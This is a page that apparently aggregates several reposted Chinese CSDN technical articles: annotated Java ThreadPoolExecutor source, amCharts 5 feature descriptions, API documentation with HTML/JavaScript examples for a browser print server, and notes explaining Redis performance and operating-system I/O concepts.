loop} }boolean workerStarted = false;boolean workerAdded = false;Worker w = null;try {w = new Worker(firstTask);final Thread t = w.thread;if (t != null) {final ReentrantLock mainLock = this.mainLock;// worker的添加必须是串行的,因此需要加锁mainLock.lock();try {// Recheck while holding lock.// Back out on ThreadFactory failure or if// shut down before lock acquired.// 这儿需要重新检查线程池状态int rs = runStateOf(ctl.get());if (rs < SHUTDOWN ||(rs == SHUTDOWN && firstTask == null)) {// worker已经调用过了start()方法,则不再创建workerif (t.isAlive()) // precheck that t is startablethrow new IllegalThreadStateException();// worker创建并添加到workers成功workers.add(w);// 更新largestPoolSize变量int s = workers.size();if (s > largestPoolSize)largestPoolSize = s;workerAdded = true;} } finally {mainLock.unlock();}// 启动worker线程if (workerAdded) {t.start();workerStarted = true;} }} finally {// worker线程启动失败,说明线程池状态发生了变化(关闭操作被执行),需要进行shutdown相关操作if (! workerStarted)addWorkerFailed(w);}return workerStarted;} 5、线程池worker任务单元 private final class Workerextends AbstractQueuedSynchronizerimplements Runnable{/ This class will never be serialized, but we provide a serialVersionUID to suppress a javac warning./private static final long serialVersionUID = 6138294804551838833L;/ Thread this worker is running in. Null if factory fails. /final Thread thread;/ Initial task to run. Possibly null. /Runnable firstTask;/ Per-thread task counter /volatile long completedTasks;/ Creates with given first task and thread from ThreadFactory. @param firstTask the first task (null if none)/Worker(Runnable firstTask) {setState(-1); // inhibit interrupts until runWorkerthis.firstTask = firstTask;// 这儿是Worker的关键所在,使用了线程工厂创建了一个线程。传入的参数为当前workerthis.thread = getThreadFactory().newThread(this);}/ Delegates main run loop to outer runWorker /public void run() {runWorker(this);}// 省略代码...} 6、核心线程执行逻辑-runworker final void runWorker(Worker w) {Thread wt = Thread.currentThread();Runnable task = w.firstTask;w.firstTask = null;// 调用unlock()是为了让外部可以中断w.unlock(); // allow interrupts// 这个变量用于判断是否进入过自旋(while循环)boolean completedAbruptly = true;try {// 这儿是自旋// 1. 如果firstTask不为null,则执行firstTask;// 2. 如果firstTask为null,则调用getTask()从队列获取任务。// 3. 阻塞队列的特性就是:当队列为空时,当前线程会被阻塞等待while (task != null || (task = getTask()) != null) {// 这儿对worker进行加锁,是为了达到下面的目的// 1. 降低锁范围,提升性能// 2. 保证每个worker执行的任务是串行的w.lock();// If pool is stopping, ensure thread is interrupted;// if not, ensure thread is not interrupted. This// requires a recheck in second case to deal with// shutdownNow race while clearing interrupt// 如果线程池正在停止,则对当前线程进行中断操作if ((runStateAtLeast(ctl.get(), STOP) ||(Thread.interrupted() &&runStateAtLeast(ctl.get(), STOP))) &&!wt.isInterrupted())wt.interrupt();// 执行任务,且在执行前后通过beforeExecute()和afterExecute()来扩展其功能。// 这两个方法在当前类里面为空实现。try {beforeExecute(wt, task);Throwable thrown = null;try {task.run();} catch (RuntimeException x) {thrown = x; throw x;} catch (Error x) {thrown = x; throw x;} catch (Throwable x) {thrown = x; throw new Error(x);} finally {afterExecute(task, thrown);} } finally {// 帮助gctask = null;// 已完成任务数加一 w.completedTasks++;w.unlock();} }completedAbruptly = false;} finally {// 自旋操作被退出,说明线程池正在结束processWorkerExit(w, completedAbruptly);} } 本篇文章为转载内容。原文链接:https://blog.csdn.net/grd_java/article/details/113116244。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
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...Waterfall Error Stacked (regular or 100%) Heatmap … and any combination of the above Percent Pie & Donut Nested donut Funnel Pyramid Pictorial Geo maps Map chart Geo heat map Map combined with charts Maps is an add-on and requires separate license. Other Sankey diagram Chord, Chord directed, and Chord non-ribbon diagrams Pack Treemap Tree Sunburst Partition Force-directed tree Radar & Polar Word cloud Venn diagram Efficiency built-in Canvas rendering amCharts 5 uses browser’s Canvas API which in most cases is way faster than SVG. Less moving parts in the DOM tree, faster rendering. Layering Common element groups are isolated into separate independent canvases, so that heavily updated sections do not trigger expensive repaints in places that do not change. Fast data processing Data processing in amCharts 5 is designed to be as efficient as possible. Incremental updates, lack of repetitive aggregations, and lightweight data object use makes data processing fast and very memory-efficient. Faster dashboards amCharts 5 is capable of running scores of charts on the same page, without crippling the browser, due to its lightweight approach to data parsing and rendering. Tiny binaries We made amCharts 5 really small – the core functionality compiles to a file of only around 400KB. Each niche functionality is separated into files, so you load only what you really need. Users will surely appreciate faster load times. Better tree-shaking We also designed amCharts 5 to be extremely tree-shakable. If you are using Webpack or similar packager, only code that is really needed will be included into your final application. The most advanced chart package Classics with some new twists XY charts are now so powerful and flexible, you can plot any data on them. Number, date, duration, or category axes are supported, in all directions. Pie charts are now fully nestable, with support for custom start and end angles, to create half circles. New geo maps Our maps use GeoJSON format. Being open and widely accepted standard it opens up a lot of possibilities and sources for ready-made and custom maps. Furthermore, maps are now very flexible, with multi-series support, configurable down to the nut and bolt. (Maps is and add-on to amCharts 5: Charts which requires separate license) More about amCharts 5: Maps Pictorials Create multi-layer, multi-series pictorial charts. Any SVG path can be used as a shape for your chart. Sankey Diagrams Stunning flow diagrams, in horizontal and vertical. With draggable, fully configurable nodes. Enhanced radar charts With stacked column, bands, axes, and other dramatic enhancements, radar charts are now way more useful. Treemaps Completely zoomable, multi-level, highly configurable. Heatmaps Automatically build heat-maps, with custom axes, color ranges, and awesome new interactive Heat Legend. Create heatmaps using colors, or point size or both. Universal and flexible heat rules allow attaching any value in data to any property or properties on any element. Chord diagrams Visualize your 2-way relational data in a neat circular Chord diagrams. We do have different variations of the classic diagram: Chord, Chord directed, and Chord non-ribbon. True funnel charts amCharts 5 offers true Funnel charts the way they were meant to be. Slice’s area size represents the value, so each step’s influence on overall volume reduction is more prominent than with basic funnels. Trapezoid form can also be configured to further emphasize reduction. Complete it with other visual elements, like fully configurable slice lines, multiple series support, togglable legends, and many many more options. Customizable beauty built-in Powerful theme engine amCharts 5 comes with a bunch of beautiful themes as well as a super flexible theme engine, which you can use. We devised a CSS-like rule-based theme targeting system in themes. Using, creating, customizing themes or standalone rules has never been so easy. The new system allows applying defaults to elements based on their type, features, or position in a virtual element tree. Fresh new look Default looks designed to look fresh, like something out of tomorrow. Carefully selected color schemes and default settings were specifically chosen to make the charts stand out. Silk-smooth animations Every setting – colors, positions, sizes, opacity, and many more – is animatable to ensure smooth transitions. No choppy, stepped animations – everything is fluid, including zoom and toggling of series and other items. Flexibility Element templates Most elements are created using templates: a collection of default settings, events, and adapters. Changing template automatically propagates changes to actual elements, making it easy to do batch updates. Everything’s configurable Numerous configuration options allow inventive uses, bordering on new chart types. Angles, colors, positions, radii, a-n-y-t-h-i-n-g can be set to bend classic and new chart types exactly the way you need them. Element states Easily change how an element looks like under different circumstances, e.g. on some interaction, hover, click, or related to data (eg. column look if a value is down). The engine will automatically apply the required properties as needed, animating between old and new values smoothly. Create and apply custom states via the API. Multi-type multi-axis support Add any number of axes of any type. Create overlaid comparison of different time scales. Use any mix of dimensional values: numbers, dates, categories, or duration. Adapters “Adapters” functionality allows plugging in custom code to dynamically override just about any setting or data value. Text formatting All text labels – tooltips, axis labels, titles, etc. – now support rich text formatting options, like changing colors, font weight, or applying just about any styling option from the CSS arsenal. In addition to formatting support, labels can now contain in-line placeholders for real data, with the ability to apply custom formatting to values. Accessibility & Interactivity Accessibility Accessibility was riding shotgun when amCharts 5 was being developed. All interactive elements are TAB-selectable, with customizable roles, order, and screen-reader texts. Everything that can be moved by touch or mouse, can be moved by keyboard. Everything that can be clicked or toggled, can be interacted with with keyboard, too. Touch support Charts have been designed to work with touch devices out-of-the-box. They will work not only on phones or tablets, but also touch capable computers. Under the hood Built with TypeScript Supports strong type and error checking in TypeScript applications. Enjoy code completion, error checking and dynamic help popups in major IDEs. Full support for TypeScript and ES6 modules. 100% for JavaScript Can be fully used in any vanilla JavaScript application. amCharts 5 does not use or rely on globals, external frameworks or 3rd party libraries. Universal rendering engine Can be used to build dynamic, interactive Canvas-based interfaces and applications. Add various elements to the screen, make them interactive, with a few lines of code. Make them clickable, draggable, hoverable, using built-in interactivity functionality. Our universal layout engine will place, size and arrange elements according to set rules. 本篇文章为转载内容。原文链接:https://blog.csdn.net/john_dwh/article/details/127460821。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-17 18:18:34
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...装ActiveX,以避免因ActiveX组件导致的各种安全问题。 为解决B/S打印中的痛点,我工作室开发了本报表服务器,完美地解决了在浏览器端不用ActiveX而获得与C/S系统一样的打印能力。 本报表系统不需要在浏览器安装任何插件,只需通过JavaScript即可实现报表精确打印以及打印过程免人工介入。 ------------- 二、特点: 1、高兼容:不需要在浏览器端和服务端安装任何插件,在浏览器插件被各大浏览器纷纷禁用的今天,无插件设计兼容绝大多数浏览器; 2、免安装:软件即拷即用,不安装,不污染操作系统,让操作系统历久弥新; 3、可视化:可视化的模板设计器,通过拖拽即可完成模板设计; 4、高精度:实现精确到毫米的打印精度,对于一些格式复杂,要求精确打印的场合,可以很容易达到毫米级精度; 5、易套打:可视化的模板设计器,在模板中加入一个票据格式的底图,可以很方便地实现套打,对于实现发票、快递面单、支票等打印毫无压力; 6、功能强:从简单报表、主从报表到嵌套报表甚至交叉报表,均能轻松应对。还有一维二维条形码,甚至,还有逆天的脚本功能,只有想不到,没有做不到; 7、自动化: 打印过程中全部自动化,无需象生成PDF、Word、Excel那样还需要人工再点打印; 8、易部署:打印模板既可以部署在客户端(与 cfprint.exe 程序放在同一目录下),也支持部署在服务端随报表数据一起传到客户端; 9、目标活:支持在数据文件中或模板中指定要输出的打印机,发票用针打、报表用激光打、小票用小票机,专机专打; 三、使用前提条件: 1、IE6以上版本、Chrome(谷歌浏览器)4.0以上版本、Firefox 4.0以上版本、Opera 11以上版本、Safari 5.0.2以上版本、iOS 4.2以上版本 或使用Chrome内核、Firefox内核的浏览器均可直接使用本打印系统; 2、在进行打印前,需要先设计好打印模板(模板设计器请见第五节); 3、打印数据必须Json的格式发送给打印服务器,并且数据必须满足指定的格式(见下文); 四、数据格式说明: 下面以一个跨境电商快递面单数据为例解释一下数据各项的含义; { "template": "waybill.fr3", /打印模板文件名。除了指定模板文件以外,还支持把模板嵌入到数据文件中,以实现在服务器端灵活使用打印模板,格式如下:/ /"template": "base64:QTBBRTNEQTE3MkFFQjIzNEFERD<后面省略>" / "ver": 4, /数据模板文件版本/ "Copies": 3, /打印份数,支持指定打印份数/ "Duplex": 1, /是否双面打印,0:默认,不双面,1:垂直,2:水平,3:单面打印(simplex)/ "Printer": "priPrinter", /指定打印机,本系统支持在数据文件中指定打印机,也支持在打印模板中指定打印机/ "PageNumbers": "", /要打印的页码范围,同打印机的打印设置里的格式相同,例如:"1,2,3"表示打印前3页, “2-5”:表示打印第2到5页,“1,2,4-8”表示打印第1、2、4到8页/ "Preview": 1, /是否预览,跟主界面上选择“预览”效果相同,取值为0:不预览,1:预览/ "Tables":[ /数据表数组/ { "Name": "Table1", /表名/ "Cols": [ /字段定义/ { "type": "str", /字段类型,可选值:String,Str,Integer,Int,Smallint,Float,Long, Blob,/ /对于图片、PDF等使用Blob类型,并把值进行Base64编码,并加前缀:/ / "base64/pdf:" 字段值是PDF; "base64/jpg:" 字段值是jpg; "base64/png:" 字段值是png; "base64/gif:" 字段值是gif; / "size": 255, /字段长度/ "name": "HAWB", /字段名称,必须与打印模板中的打印项名称相同/ "required": false /字段是否必填/ }, { "type": "int", "size": 0, "name": "NO", "required": false }, { "type": "float", "size": 0, "name": "报关公司面单号", "required": false }, { "type": "integer", "size": 0, "name": "公司内部单号", "required": false }, { "type": "str", "size": 255, "name": "发件人", "required": false }, { "type": "str", "size": 255, "name": "发件人地址", "required": false }, { "type": "str", "size": 255, "name": "发件人电话", "required": false }, { "type": "str", "size": 255, "name": "发货国家", "required": false }, { "type": "str", "size": 255, "name": "收件人", "required": false }, { "type": "str", "size": 255, "name": "收件人地址", "required": false }, { "type": "str", "size": 255, "name": "收件人电话", "required": false }, { "type": "str", "size": 255, "name": "收货人证件号码", "required": false }, { "type": "str", "size": 255, "name": "收货省份", "required": false }, { "type": "float", "size": 0, "name": "总计费重量", "required": false }, { "type": "int", "size": 0, "name": "总件数", "required": false }, { "type": "float", "size": 0, "name": "申报总价(CNY)", "required": false }, { "type": "float", "size": 0, "name": "申报总价(JPY)", "required": false }, { "type": "int", "size": 0, "name": "件数1", "required": false }, { "type": "str", "size": 255, "name": "品名1", "required": false }, { "type": "float", "size": 0, "name": "单价1(JPY)", "required": false }, { "type": "str", "size": 255, "name": "单位1", "required": false }, { "type": "float", "size": 0, "name": "申报总价1(CNY)", "required": false }, { "type": "float", "size": 0, "name": "申报总价1(JPY)", "required": false }, { "type": "int", "size": 0, "name": "件数2", "required": false }, { "type": "str", "size": 255, "name": "品名2", "required": false }, { "type": "float", "size": 0, "name": "单价2(JPY)", "required": false }, { "type": "str", "size": 255, "name": "单位2", "required": false }, { "type": "float", "size": 0, "name": "申报总价2(CNY)", "required": false }, { "type": "float", "size": 0, "name": "申报总价2(JPY)", "required": false }, { "type": "AutoInc", "size": 0, "name": "ID", "required": false }, { "type": "blob", "size": 0, "name": "附件", "required": false } ], "Data": [ /数据行定义,每一行含义见上面的字段定义/ { "HAWB": "860014010055", "NO": 1, "报关公司面单号": 200303900791, "公司内部单号": 730293, "发件人": "NAKAGAWA SUMIRE 2", "发件人地址": " 991-199-113,Kameido,Koto-ku,Tokyo", "发件人电话": "03-3999-3999", "发货国家": "日本", "收件人": "张三丰", "收件人地址": "上海市闵行区虹梅南路1660弄蔷薇八村99号9999室", "收件人电话": "182-1234-8888", "收货人证件号码": null, "收货省份": null, "总计费重量": 3.2, "总件数": 13, "申报总价(CNY)": null, "申报总价(JPY)": null, "件数1": 10, "品名1": "纸尿片", "单价1(JPY)": null, "单位1": null, "申报总价1(CNY)": null, "申报总价1(JPY)": null, "件数2": null, "品名2": null, "单价2(JPY)": null, "单位2": null, "申报总价2(CNY)": null, "申报总价2(JPY)": null, "ID": 1, "附件": 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} ] }, { "Name": "Table2", "Cols": [ { "type": "int", "size": 0, "name": "NO", "required": false }, { "type": "float", "size": 0, "name": "订单编号", "required": false }, { "type": "integer", "size": 0, "name": "下单日期", "required": false }, { "type": "str", "size": 255, "name": "下单平台", "required": false } ], "Data": [ { "NO": 1, "订单编号": 200303900791, "下单日期": "2017-01-20", "下单平台": "天猫" }, { "NO": 2, "订单编号": 200303900792, "下单日期": "2017-01-20", "下单平台": "京东" } ] } ] } 五、调用示例: <!-- ★★★ 模式1 ★★★ --> <!DOCTYPE html> <head> <meta charset="utf-8" /> <title>康虎云报表系统测试</title> </head> <body> <div style="width: 100%;text-align:center;"> <h2>康虎云报表系统</h2> <h3>打印测试(模式1)</h3> <div> <input type="button" id="btnPrint" value="打印" onClick="doSend(_reportData);" /> </div> </div> <div id="output"></div> </body> <script type="text/javascript"> //定义数据脚本 var _reportData = '{"template":"waybill.fr3","Cols":[{"type":"str","size":255,"name":"HAWB","required":false},<这里省略1000字> ]}'; //在浏览器控制台输出调试信息 console.log("reportData = " + _reportData); </script> <script language="javascript" type="text/javascript" src="cfprint.min.js"></script> <script language="javascript" type="text/javascript" src="cfprint_ext.js"></script> <script language="javascript" type="text/javascript"> /下面四个参数必须放在myreport.js脚本后面,以覆盖myreport.js中的默认值/ var _delay_send = 1000; //发送打印服务器前延时时长,-1则表示不自动打印 var _delay_close = 1000; //打印完成后关闭窗口的延时时长, -1则表示不关闭 var cfprint_addr = "127.0.0.1"; //打印服务器监听地址 var cfprint_port = 54321; //打印服务器监听端口 </script> </html> <!-- ★★★ 模式2 ★★★ --> <?php //如果有php运行环境,只需把该文件扩展名改成 .php,然后上传到web目录即可在真实服务器上测试 header("Access-Control-Allow-Origin: "); ?> <!DOCTYPE html> <head> <meta charset="utf-8" /> <title>康虎云报表系统测试</title> <style type="text/css"> output {font-size: 12px; background-color:F0FFF0;} </style> </head> <body> <div style="width: 100%;text-align:center;"> <h2>康虎云报表系统(Ver 1.3.0)</h2> <h3>打印测试(模式2)</h3> <div style="line-height: 1.5;"> <div style="width: 70%; text-align: left;"> <b>一、首先按下列步骤设置:</b><br/> 1、运行打印服务器;<br/> 2、按“停止”按钮停止服务;<br/> 3、打开“设置”区;<br/> 4、在“常用参数-->服务模式”中,选择“模式2”;<br/> 5、按“启动”按钮启动服务。 </div> <div style="width: 70%; text-align: left;"> <b>二、按本页的“打印”按钮开始打印。</b><br/> </div><br/> <input type="button" id="btnPrint" value="打印" /><br/><br/> <div style="width: 70%; text-align: left; font-size: 12px;"> 由于JavaScript在不同域名下访问会出现由来已久的跨域问题,所以正式部署到服务器使用时,要解决跨域问题。<br/> 对于IE8以上版本浏览器,只需增加一个reponse头:Access-Control-Allow-Origin即可,而对于php、jsp、asp/aspx等动态语言而言,增加一个response头是非常简单的事,例如:<br/> <b>在php:</b><br/><span style="color: red;"> <?php <br/> header("Access-Control-Allow-Origin: ");<br/> ?><br/> </span> <b>在jsp:</b><br/><span style="color: red;"> <% <br/> response.setHeader("Access-Control-Allow-Origin", ""); <br/> %><br/> </span> <b>在asp.net中:</b><br/><span style="color: red;"> Response.AppendHeader("Access-Control-Allow-Origin", ""); </span>,<br/>其他语言里,大家请自行搜索“ajax跨域”。而对于IE8以下的浏览器,大家可以自行搜索“IE6+Ajax+跨域”寻找解决办法吧,也可以联系我们帮助。 </div> </div> </div> <div id="output"></div> </body> <!-- 引入模式2所需的javascript支持库 --> <script type="text/javascript" src="cfprint_mode2.min.js" charset="UTF-8"></script> <!-- 构造报表数据 --> <script type="text/javascript"> var _reportData = '{"template":"waybill.fr3","ver":3, "Tables":[ {"Name":"Table1", "Cols":[{"type":"str","size":255,"name":"HAWB","required":false},{"type":"int","size":0,"name":"NO","required":false},{"type":"float","size":0,"name":"报关公司面单号","required":false},{"type":"integer","size":0,"name":"公司内部单号","required":false},{"type":"str","size":255,"name":"发件人","required":false},{"type":"str","size":255,"name":"发件人地址","required":false},{"type":"str","size":255,"name":"发件人电话","required":false},{"type":"str","size":255,"name":"发货国家","required":false},{"type":"str","size":255,"name":"收件人","required":false},{"type":"str","size":255,"name":"收件人地址","required":false},{"type":"str","size":255,"name":"收件人电话","required":false},{"type":"str","size":255,"name":"收货人证件号码","required":false},{"type":"str","size":255,"name":"收货省份","required":false},{"type":"float","size":0,"name":"总计费重量","required":false},{"type":"int","size":0,"name":"总件数","required":false},{"type":"float","size":0,"name":"申报总价(CNY)","required":false},{"type":"float","size":0,"name":"申报总价(JPY)","required":false},{"type":"int","size":0,"name":"件数1","required":false},{"type":"str","size":255,"name":"品名1","required":false},{"type":"float","size":0,"name":"单价1(JPY)","required":false},{"type":"str","size":255,"name":"单位1","required":false},{"type":"float","size":0,"name":"申报总价1(CNY)","required":false},{"type":"float","size":0,"name":"申报总价1(JPY)","required":false},{"type":"int","size":0,"name":"件数2","required":false},{"type":"str","size":255,"name":"品名2","required":false},{"type":"float","size":0,"name":"单价2(JPY)","required":false},{"type":"str","size":255,"name":"单位2","required":false},{"type":"float","size":0,"name":"申报总价2(CNY)","required":false},{"type":"float","size":0,"name":"申报总价2(JPY)","required":false},{"type":"int","size":0,"name":"件数3","required":false},{"type":"str","size":255,"name":"品名3","required":false},{"type":"float","size":0,"name":"单价3(JPY)","required":false},{"type":"str","size":255,"name":"单位3","required":false},{"type":"float","size":0,"name":"申报总价3(CNY)","required":false},{"type":"float","size":0,"name":"申报总价3(JPY)","required":false},{"type":"int","size":0,"name":"件数4","required":false},{"type":"str","size":255,"name":"品名4","required":false},{"type":"float","size":0,"name":"单价4(JPY)","required":false},{"type":"str","size":255,"name":"单位4","required":false},{"type":"float","size":0,"name":"申报总价4(CNY)","required":false},{"type":"float","size":0,"name":"申报总价4(JPY)","required":false},{"type":"int","size":0,"name":"件数5","required":false},{"type":"str","size":255,"name":"品名5","required":false},{"type":"float","size":0,"name":"单价5(JPY)","required":false},{"type":"str","size":255,"name":"单位5","required":false},{"type":"float","size":0,"name":"申报总价5(CNY)","required":false},{"type":"float","size":0,"name":"申报总价5(JPY)","required":false},{"type":"str","size":255,"name":"参考号","required":false},{"type":"AutoInc","size":0,"name":"ID","required":false}],"Data":[{"公司内部单号":730293,"发货国家":"日本","单价1(JPY)":null,"申报总价2(JPY)":null,"单价4(JPY)":null,"申报总价2(CNY)":null,"申报总价5(JPY)":null,"报关公司面单号":200303900791,"申报总价5(CNY)":null,"收货人证件号码":null,"申报总价1(JPY)":null,"单价3(JPY)":null,"申报总价1(CNY)":null,"申报总价4(JPY)":null,"申报总价4(CNY)":null,"收件人电话":"182-1758-9999","收件人地址":"上海市闵行区虹梅南路1660弄蔷薇八村139号502室","HAWB":"860014010055","发件人电话":"03-3684-9999","发件人地址":" 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1-1-13,Kameido,Koto-ku,Tokyo","NO":2,"ID":2,"单价2(JPY)":null,"申报总价3(JPY)":null,"单价5(JPY)":null,"申报总价3(CNY)":null,"收货省份":null,"申报总价(JPY)":null,"申报总价(CNY)":null,"总计费重量":3.20,"收件人":"张无忌","总件数":13,"品名5":null,"品名4":null,"品名3":null,"品名2":null,"品名1":"纸尿片","参考号":null,"发件人":"NAKAGAWA SUMIRE 1","单位5":null,"单位4":null,"单位3":null,"单位2":null,"单位1":null,"件数5":null,"件数4":null,"件数3":3,"件数2":null,"件数1":10}]}]}'; if(window.console) console.log("reportData = " + _reportData); </script> <!-- 设置服务器参数 --> <script language="javascript" type="text/javascript"> var cfprint_addr = "127.0.0.1"; //打印服务器监听地址 var cfprint_port = 54321; //打印服务器监听端口 var _url = "http://"+cfprint_addr+":"+cfprint_port; </script> <!-- 编写回调函数用以处理服务器返回的数据 --> <script type="text/javascript"> / 参数: readyState: XMLHttpRequest的状态 httpStatus: 服务端返回的http状态 responseText: 服务端返回的内容 / var callbackSuccess = function(readyState, httpStatus, responseText){ if (httpStatus === 200) { //{"result": 1, "message": "打印完成"} var response = CFPrint.parseJSON(responseText); alert(response.message+", 状态码["+response.result+"]"); }else{ alert('打印失败,HTTP状态代码是:'+httpStatus); } } / 参数: message: 错误信息 / var callbackFailed = function(message){ alert('发送打印任务出错: ' + message); } </script> <!-- 调用发送打印请求功能 --> <script type="text/javascript"> (function(){ document.getElementById("btnPrint").onclick = function() { CFPrint.outputid = "output"; //指定调试信息输出div的id CFPrint.SendRequest(_url, _reportData, callbackSuccess, callbackFailed); //发送打印请求 }; })(); </script> </html> 六、模板设计器(重要!重要!!,好多朋友都找不到设计器入口) 在主界面上,双击右下角的“设计”两个字,即可打开模板设计工具箱,在工具箱有三个按钮和一个大文本框。三个按钮的作用分别是: 设计:以大文本框中的json数据为数据源,打开模板设计器窗口; 预览:以大文本框中的json数据为数据源,预览当前所用模板的打印效果; 打印:以大文本框中的json数据为数据源,向打印机输出当前所用模板生成的报表; 以后将会有详细的模板设计教程发布,如果您遇到紧急的难题,请向作者咨询。 本篇文章为转载内容。原文链接:https://blog.csdn.net/chensongmol/article/details/76087600。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
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...ript kill(error) UNKILLABLE Sorry the script already executed write commands against the dataset. You can either wait the scripttermination or kill the server in a hard way using the SHUTDOWN NOSAVE command. 遇到这种情况,只能通过 shutdown nosave 命令来强行终止 redis。 shutdown nosave 和 shutdown 的区别在于 shutdown nosave 不会进行持久化操作,意味着发生在上一次快照后的数据库修改都会丢失。 4、Redis 为什么这么快? 4.1 Redis到底有多快? 根据官方的数据,Redis 的 QPS 可以达到 10 万左右(每秒请求数)。 4.2 Redis为什么这么快? 总结:1)纯内存结构、2)单线程、3)多路复用 4.2.1 内存 KV 结构的内存数据库,时间复杂度 O(1)。 第二个,要实现这么高的并发性能,是不是要创建非常多的线程? 恰恰相反,Redis 是单线程的。 4.2.2 单线程 单线程有什么好处呢? 1、没有创建线程、销毁线程带来的消耗 2、避免了上线文切换导致的 CPU 消耗 3、避免了线程之间带来的竞争问题,例如加锁释放锁死锁等等 4.2.3 异步非阻塞 异步非阻塞 I/O,多路复用处理并发连接。 4.3 Redis为什么是单线程的? 不是白白浪费了 CPU 的资源吗? 因为单线程已经够用了,CPU 不是 redis 的瓶颈。Redis 的瓶颈最有可能是机器内存或者网络带宽。既然单线程容易实现,而且 CPU 不会成为瓶颈,那就顺理成章地采用单线程的方案了。 4.4 单线程为什么这么快? 因为 Redis 是基于内存的操作,我们先从内存开始说起。 4.4.1 虚拟存储器(虚拟内存 Vitual Memory) 名词解释:主存:内存;辅存:磁盘(硬盘) 计算机主存(内存)可看作一个由 M 个连续的字节大小的单元组成的数组,每个字节有一个唯一的地址,这个地址叫做物理地址(PA)。早期的计算机中,如果 CPU 需要内存,使用物理寻址,直接访问主存储器。 这种方式有几个弊端: 1、在多用户多任务操作系统中,所有的进程共享主存,如果每个进程都独占一块物理地址空间,主存很快就会被用完。我们希望在不同的时刻,不同的进程可以共用同一块物理地址空间。 2、如果所有进程都是直接访问物理内存,那么一个进程就可以修改其他进程的内存数据,导致物理地址空间被破坏,程序运行就会出现异常。 为了解决这些问题,我们就想了一个办法,在 CPU 和主存之间增加一个中间层。CPU 不再使用物理地址访问,而是访问一个虚拟地址,由这个中间层把地址转换成物理地址,最终获得数据。这个中间层就叫做虚拟存储器(Virtual Memory)。 具体的操作如下所示: 在每一个进程开始创建的时候,都会分配一段虚拟地址,然后通过虚拟地址和物理地址的映射来获取真实数据,这样进程就不会直接接触到物理地址,甚至不知道自己调用的哪块物理地址的数据。 目前,大多数操作系统都使用了虚拟内存,如 Windows 系统的虚拟内存、Linux 系统的交换空间等等。Windows 的虚拟内存(pagefile.sys)是磁盘空间的一部分。 在 32 位的系统上,虚拟地址空间大小是 2^32bit=4G。在 64 位系统上,最大虚拟地址空间大小是多少? 是不是 2^64bit=10241014TB=1024PB=16EB?实际上没有用到 64 位,因为用不到这么大的空间,而且会造成很大的系统开销。Linux 一般用低 48 位来表示虚拟地址空间,也就是 2^48bit=256T。 cat /proc/cpuinfo address sizes : 40 bits physical, 48 bits virtual 实际的物理内存可能远远小于虚拟内存的大小。 总结:引入虚拟内存,可以提供更大的地址空间,并且地址空间是连续的,使得程序编写、链接更加简单。并且可以对物理内存进行隔离,不同的进程操作互不影响。还可以通过把同一块物理内存映射到不同的虚拟地址空间实现内存共享。 4.4.2 用户空间和内核空间 为了避免用户进程直接操作内核,保证内核安全,操作系统将虚拟内存划分为两部分,一部分是内核空间(Kernel-space)/ˈkɜːnl /,一部分是用户空间(User-space)。 内核是操作系统的核心,独立于普通的应用程序,可以访问受保护的内存空间,也有访问底层硬件设备的权限。 内核空间中存放的是内核代码和数据,而进程的用户空间中存放的是用户程序的代码和数据。不管是内核空间还是用户空间,它们都处于虚拟空间中,都是对物理地址的映射。 在 Linux 系统中, 内核进程和用户进程所占的虚拟内存比例是 1:3。 当进程运行在内核空间时就处于内核态,而进程运行在用户空间时则处于用户态。 进程在内核空间以执行任意命令,调用系统的一切资源;在用户空间只能执行简单的运算,不能直接调用系统资源,必须通过系统接口(又称 system call),才能向内核发出指令。 top 命令: us 代表 CPU 消耗在 User space 的时间百分比; sy 代表 CPU 消耗在 Kernel space 的时间百分比。 4.4.3 进程切换(上下文切换) 多任务操作系统是怎么实现运行远大于 CPU 数量的任务个数的? 当然,这些任务实际上并不是真的在同时运行,而是因为系统通过时间片分片算法,在很短的时间内,将 CPU 轮流分配给它们,造成多任务同时运行的错觉。 为了控制进程的执行,内核必须有能力挂起正在 CPU 上运行的进程,并恢复以前挂起的某个进程的执行。这种行为被称为进程切换。 什么叫上下文? 在每个任务运行前,CPU 都需要知道任务从哪里加载、又从哪里开始运行,也就是说,需要系统事先帮它设置好 CPU 寄存器和程序计数器(ProgramCounter),这个叫做 CPU 的上下文。 而这些保存下来的上下文,会存储在系统内核中,并在任务重新调度执行时再次加载进来。这样就能保证任务原来的状态不受影响,让任务看起来还是连续运行。 在切换上下文的时候,需要完成一系列的工作,这是一个很消耗资源的操作。 4.4.4 进程的阻塞 正在运行的进程由于提出系统服务请求(如 I/O 操作),但因为某种原因未得到操作系统的立即响应,该进程只能把自己变成阻塞状态,等待相应的事件出现后才被唤醒。 进程在阻塞状态不占用 CPU 资源。 4.4.5 文件描述符 FD Linux 系统将所有设备都当作文件来处理,而 Linux 用文件描述符来标识每个文件对象。 文件描述符(File Descriptor)是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行 I/O 操作的系统调用都通过文件描述符;文件描述符是一个简单的非负整数,用以表明每个被进程打开的文件。 Linux 系统里面有三个标准文件描述符。 0:标准输入(键盘); 1:标准输出(显示器); 2:标准错误输出(显示器)。 4.4.6 传统 I/O 数据拷贝 以读操作为例: 当应用程序执行 read 系统调用读取文件描述符(FD)的时候,如果这块数据已经存在于用户进程的页内存中,就直接从内存中读取数据。如果数据不存在,则先将数据从磁盘加载数据到内核缓冲区中,再从内核缓冲区拷贝到用户进程的页内存中。(两次拷贝,两次 user 和 kernel 的上下文切换)。 I/O 的阻塞到底阻塞在哪里? 4.4.7 Blocking I/O 当使用 read 或 write 对某个文件描述符进行过读写时,如果当前 FD 不可读,系统就不会对其他的操作做出响应。从设备复制数据到内核缓冲区是阻塞的,从内核缓冲区拷贝到用户空间,也是阻塞的,直到 copy complete,内核返回结果,用户进程才解除 